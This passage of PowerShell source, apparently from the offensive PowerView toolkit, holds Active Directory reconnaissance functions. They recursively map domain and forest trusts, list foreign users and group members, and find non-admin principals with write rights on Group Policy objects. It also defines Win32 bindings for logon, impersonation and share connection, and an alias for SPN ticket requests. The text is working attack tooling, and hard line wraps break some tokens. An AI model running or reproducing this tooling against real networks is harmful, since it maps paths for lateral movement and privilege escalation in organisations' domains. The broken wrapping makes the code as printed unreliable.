[uint32]'0x00000100' = 'TRUST_USES_AES_KEYS'
[uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION'
[uint32]'0x00000400' = 'PIM_TRUST'
}

$LdapSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter'])
{ $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['Properties'])
{ $LdapSearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase'])
{ $LdapSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope'])
{ $LdapSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone']
= $Tombstone }
if ($PSBoundParameters['Credential'])
{ $LdapSearcherArguments['Credential'] = $Credential }
}

PROCESS {
if ($PsCmdlet.ParameterSetName -ne 'API') {
$NetSearcherArguments = @{}
if ($Domain -and $Domain.Trim() -ne '') {
$SourceDomain = $Domain
}
else {
if ($PSBoundParameters['Credential']) {
$SourceDomain = (Get-Domain -Credential $Credential).Name
}
else {
$SourceDomain = (Get-Domain).Name
}
}
}
elseif ($PsCmdlet.ParameterSetName -ne 'NET') {
if ($Domain -and $Domain.Trim() -ne '') {
$SourceDomain = $Domain
}
else {
$SourceDomain = $Env:USERDNSDOMAIN
}
}

if ($PsCmdlet.ParameterSetName -eq 'LDAP') {

$TrustSearcher = Get-DomainSearcher @LdapSearcherArguments


$SourceSID = Get-DomainSID @NetSearcherArguments

if ($TrustSearcher) {

$TrustSearcher.Filter = '(objectClass=trustedDomain)'

if ($PSBoundParameters['FindOne']) { $Results =
$TrustSearcher.FindOne() }
else { $Results = $TrustSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Props = $_.Properties
$DomainTrust = New-Object PSObject

$TrustAttrib = @()
$TrustAttrib += $TrustAttributes.Keys | Where-Object
{ $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }

$Direction = Switch ($Props.trustdirection) {


0 { 'Disabled' }
1 { 'Inbound' }
2 { 'Outbound' }
3 { 'Bidirectional' }
}

$TrustType = Switch ($Props.trusttype) {


1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' }
2 { 'WINDOWS_ACTIVE_DIRECTORY' }
3 { 'MIT' }
}

$Distinguishedname = $Props.distinguishedname[0]
$SourceNameIndex = $Distinguishedname.IndexOf('DC=')
if ($SourceNameIndex) {
$SourceDomain = $
($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.'
}
else {
$SourceDomain = ""
}

$TargetNameIndex = $Distinguishedname.IndexOf(',CN=System')
if ($SourceNameIndex) {
$TargetDomain = $Distinguishedname.SubString(3,
$TargetNameIndex-3)
}
else {
$TargetDomain = ""
}

$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])


$TargetSID = (New-Object
System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value

$DomainTrust | Add-Member Noteproperty 'SourceName'


$SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName'
$Props.name[0]

$DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType


$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $
($TrustAttrib -join ',')
$DomainTrust | Add-Member Noteproperty 'TrustDirection'
"$Direction"
$DomainTrust | Add-Member Noteproperty 'WhenCreated'
$Props.whencreated[0]
$DomainTrust | Add-Member Noteproperty 'WhenChanged'
$Props.whenchanged[0]
$DomainTrust.PSObject.TypeNames.Insert(0,
'PowerView.DomainTrust.LDAP')
$DomainTrust
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainTrust] Error disposing of the
Results object: $_"
}
}
$TrustSearcher.dispose()
}
}
elseif ($PsCmdlet.ParameterSetName -eq 'API') {

if ($PSBoundParameters['Server']) {
$TargetDC = $Server
}
elseif ($Domain -and $Domain.Trim() -ne '') {
$TargetDC = $Domain
}
else {

$TargetDC = $Null
}

$PtrInfo = [IntPtr]::Zero

$Flags = 63
$DomainCount = 0

$Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]


$PtrInfo, [ref]$DomainCount)

$Offset = $PtrInfo.ToInt64()

if (($Result -eq 0) -and ($Offset -gt 0)) {


$Increment = $DS_DOMAIN_TRUSTS::GetSize()

for ($i = 0; ($i -lt $DomainCount); $i++) {

$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset


$Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS

$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment

$SidString = ''
$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid,
[ref]$SidString);$LastError =
[Runtime.InteropServices.Marshal]::GetLastWin32Error()

if ($Result -eq 0) {
Write-Verbose "[Get-DomainTrust] Error: $
(([ComponentModel.Win32Exception] $LastError).Message)"
}
else {
$DomainTrust = New-Object PSObject
$DomainTrust | Add-Member Noteproperty 'SourceName'
$SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName'
$Info.DnsDomainName
$DomainTrust | Add-Member Noteproperty 'TargetNetbiosName'
$Info.NetbiosDomainName
$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
$DomainTrust | Add-Member Noteproperty 'ParentIndex'
$Info.ParentIndex
$DomainTrust | Add-Member Noteproperty 'TrustType'
$Info.TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes'
$Info.TrustAttributes
$DomainTrust | Add-Member Noteproperty 'TargetSid'
$SidString
$DomainTrust | Add-Member Noteproperty 'TargetGuid'
$Info.DomainGuid
$DomainTrust.PSObject.TypeNames.Insert(0,
'PowerView.DomainTrust.API')
$DomainTrust
}
}

$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-DomainTrust] Error: $
(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {

$FoundDomain = Get-Domain @NetSearcherArguments


if ($FoundDomain) {
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
$_
}
}
}
}
}

function Get-ForestTrust {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

PROCESS {
$NetForestArguments = @{}
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest
}
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] =
$Credential }

$FoundForest = Get-Forest @NetForestArguments

if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
}
}

function Get-DomainForeignUser {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}

PROCESS {
Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf('DC=')
if ($Index) {

$GroupDomain = $($Membership.SubString($Index)) -replace


'DC=','' -replace ',','.'
$UserDistinguishedName = $_.distinguishedname
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -
replace 'DC=','' -replace ',','.'

if ($GroupDomain -ne $UserDomain) {

$GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain'
$UserDomain
$ForeignUser | Add-Member Noteproperty 'UserName'
$_.samaccountname
$ForeignUser | Add-Member Noteproperty
'UserDistinguishedName' $_.distinguishedname
$ForeignUser | Add-Member Noteproperty 'GroupDomain'
$GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName'
$GroupName
$ForeignUser | Add-Member Noteproperty
'GroupDistinguishedName' $Membership
$ForeignUser.PSObject.TypeNames.Insert(0,
'PowerView.ForeignUser')
$ForeignUser
}
}
}
}
}
}

function Get-DomainForeignGroupMember {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignGroupMember')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(member=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}

PROCESS {

$ExcludeGroups = @('Users', 'Domain Users', 'Guests')

Get-DomainGroup @SearcherArguments | Where-Object { $ExcludeGroups -


notcontains $_.samaccountname } | ForEach-Object {
$GroupName = $_.samAccountName
$GroupDistinguishedName = $_.distinguishedname
$GroupDomain =
$GroupDistinguishedName.SubString($GroupDistinguishedName.IndexOf('DC=')) -replace
'DC=','' -replace ',','.'

$_.member | ForEach-Object {

$MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -


replace ',','.'
if (($_ -match 'CN=S-1-5-21.*-.*') -or ($GroupDomain -ne
$MemberDomain)) {
$MemberDistinguishedName = $_
$MemberName = $_.Split(',')[0].split('=')[1]

$ForeignGroupMember = New-Object PSObject


$ForeignGroupMember | Add-Member Noteproperty 'GroupDomain'
$GroupDomain
$ForeignGroupMember | Add-Member Noteproperty 'GroupName'
$GroupName
$ForeignGroupMember | Add-Member Noteproperty
'GroupDistinguishedName' $GroupDistinguishedName
$ForeignGroupMember | Add-Member Noteproperty 'MemberDomain'
$MemberDomain
$ForeignGroupMember | Add-Member Noteproperty 'MemberName'
$MemberName
$ForeignGroupMember | Add-Member Noteproperty
'MemberDistinguishedName' $MemberDistinguishedName
$ForeignGroupMember.PSObject.TypeNames.Insert(0,
'PowerView.ForeignGroupMember')
$ForeignGroupMember
}
}
}
}
}

function Get-DomainTrustMapping {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.DomainTrust.NET')]
[OutputType('PowerView.DomainTrust.LDAP')]
[OutputType('PowerView.DomainTrust.API')]
[CmdletBinding(DefaultParameterSetName = 'LDAP')]
Param(
[Parameter(ParameterSetName = 'API')]
[Switch]
$API,

[Parameter(ParameterSetName = 'NET')]
[Switch]
$NET,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[Parameter(ParameterSetName = 'LDAP')]
[Parameter(ParameterSetName = 'API')]
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',

[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[Parameter(ParameterSetName = 'LDAP')]
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Parameter(ParameterSetName = 'LDAP')]
[Switch]
$Tombstone,

[Parameter(ParameterSetName = 'LDAP')]
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

$SeenDomains = @{}

$Domains = New-Object System.Collections.Stack

$DomainTrustArguments = @{}
if ($PSBoundParameters['API']) { $DomainTrustArguments['API'] = $API }
if ($PSBoundParameters['NET']) { $DomainTrustArguments['NET'] = $NET }
if ($PSBoundParameters['LDAPFilter']) { $DomainTrustArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['Properties']) { $DomainTrustArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $DomainTrustArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $DomainTrustArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $DomainTrustArguments['SearchScope'] =
$SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $DomainTrustArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $DomainTrustArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $DomainTrustArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $DomainTrustArguments['Credential'] =
$Credential }

if ($PSBoundParameters['Credential']) {
$CurrentDomain = (Get-Domain -Credential $Credential).Name
}
else {
$CurrentDomain = (Get-Domain).Name
}
$Domains.Push($CurrentDomain)

while($Domains.Count -ne 0) {

$Domain = $Domains.Pop()

if ($Domain -and ($Domain.Trim() -ne '') -and (-not


$SeenDomains.ContainsKey($Domain))) {

Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain:


'$Domain'"

$Null = $SeenDomains.Add($Domain, '')


try {

$DomainTrustArguments['Domain'] = $Domain
$Trusts = Get-DomainTrust @DomainTrustArguments

if ($Trusts -isnot [System.Array]) {


$Trusts = @($Trusts)
}

if ($PsCmdlet.ParameterSetName -eq 'NET') {


$ForestTrustArguments = @{}
if ($PSBoundParameters['Forest'])
{ $ForestTrustArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential'])
{ $ForestTrustArguments['Credential'] = $Credential }
$Trusts += Get-ForestTrust @ForestTrustArguments
}

if ($Trusts) {
if ($Trusts -isnot [System.Array]) {
$Trusts = @($Trusts)
}

ForEach ($Trust in $Trusts) {


if ($Trust.SourceName -and $Trust.TargetName) {

$Null = $Domains.Push($Trust.TargetName)
$Trust
}
}
}
}
catch {
Write-Verbose "[Get-DomainTrustMapping] Error: $_"
}
}
}
}

function Get-GPODelegation {

[CmdletBinding()]
Param (
[String]
$GPOName = '*',

[ValidateRange(1,10000)]
[Int]
$PageSize = 200
)

$Exclusions = @('SYSTEM','Domain Admins','Enterprise Admins')

$Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$DomainList = @($Forest.Domains)
$Domains = $DomainList | foreach { $_.GetDirectoryEntry() }
foreach ($Domain in $Domains) {
$Filter = "(&(objectCategory=groupPolicyContainer)(displayname=$GPOName))"
$Searcher = New-Object System.DirectoryServices.DirectorySearcher
$Searcher.SearchRoot = $Domain
$Searcher.Filter = $Filter
$Searcher.PageSize = $PageSize
$Searcher.SearchScope = "Subtree"
$listGPO = $Searcher.FindAll()
foreach ($gpo in $listGPO){
$ACL = ([ADSI]$gpo.path).ObjectSecurity.Access | ?
{$_.ActiveDirectoryRights -match "Write" -and $_.AccessControlType -eq "Allow" -and
$Exclusions -notcontains $_.IdentityReference.toString().split("\")[1] -and
$_.IdentityReference -ne "CREATOR OWNER"}
if ($ACL -ne $null){
$GpoACL = New-Object psobject
$GpoACL | Add-Member Noteproperty 'ADSPath' $gpo.Properties.adspath
$GpoACL | Add-Member Noteproperty 'GPODisplayName'
$gpo.Properties.displayname
$GpoACL | Add-Member Noteproperty 'IdentityReference'
$ACL.IdentityReference
$GpoACL | Add-Member Noteproperty 'ActiveDirectoryRights'
$ACL.ActiveDirectoryRights
$GpoACL
}
}
}
}

$Mod = New-InMemoryModule -ModuleName Win32

$SamAccountTypeEnum = psenum $Mod PowerView.SamAccountTypeEnum UInt32 @{


DOMAIN_OBJECT = '0x00000000'
GROUP_OBJECT = '0x10000000'
NON_SECURITY_GROUP_OBJECT = '0x10000001'
ALIAS_OBJECT = '0x20000000'
NON_SECURITY_ALIAS_OBJECT = '0x20000001'
USER_OBJECT = '0x30000000'
MACHINE_ACCOUNT = '0x30000001'
TRUST_ACCOUNT = '0x30000002'
APP_BASIC_GROUP = '0x40000000'
APP_QUERY_GROUP = '0x40000001'
ACCOUNT_TYPE_MAX = '0x7fffffff'
}
$GroupTypeEnum = psenum $Mod PowerView.GroupTypeEnum UInt32 @{
CREATED_BY_SYSTEM = '0x00000001'
GLOBAL_SCOPE = '0x00000002'
DOMAIN_LOCAL_SCOPE = '0x00000004'
UNIVERSAL_SCOPE = '0x00000008'
APP_BASIC = '0x00000010'
APP_QUERY = '0x00000020'
SECURITY = '0x80000000'
} -Bitfield

$UACEnum = psenum $Mod PowerView.UACEnum UInt32 @{


SCRIPT = 1
ACCOUNTDISABLE = 2
HOMEDIR_REQUIRED = 8
LOCKOUT = 16
PASSWD_NOTREQD = 32
PASSWD_CANT_CHANGE = 64
ENCRYPTED_TEXT_PWD_ALLOWED = 128
TEMP_DUPLICATE_ACCOUNT = 256
NORMAL_ACCOUNT = 512
INTERDOMAIN_TRUST_ACCOUNT = 2048
WORKSTATION_TRUST_ACCOUNT = 4096
SERVER_TRUST_ACCOUNT = 8192
DONT_EXPIRE_PASSWORD = 65536
MNS_LOGON_ACCOUNT = 131072
SMARTCARD_REQUIRED = 262144
TRUSTED_FOR_DELEGATION = 524288
NOT_DELEGATED = 1048576
USE_DES_KEY_ONLY = 2097152
DONT_REQ_PREAUTH = 4194304
PASSWORD_EXPIRED = 8388608
TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216
PARTIAL_SECRETS_ACCOUNT = 67108864
} -Bitfield

$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{


Active = 0
Connected = 1
ConnectQuery = 2
Shadow = 3
Disconnected = 4
Idle = 5
Listen = 6
Reset = 7
Down = 8
Init = 9
}

$WTS_SESSION_INFO_1 = struct $Mod PowerView.RDPSessionInfo @{


ExecEnvId = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}

$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{


AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}

$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{


Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}

$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{


UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}

$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{


CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}

$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{


SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}

$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{


lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}

$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{


lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}

$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{


NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}

$NETRESOURCEW = struct $Mod NETRESOURCEW @{


dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}

$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int],
[IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(),
[Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int],
[IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(),
[Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int],
[IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(),
[Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int],
[IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(),
[Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int],
[IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(),
[Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32],
[IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr],
[String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -
SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32],
[UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr],
[Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())
-SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int],
[IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String],
[UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)

$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'


$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']

Set-Alias Get-IPAddress Resolve-IPAddress


Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
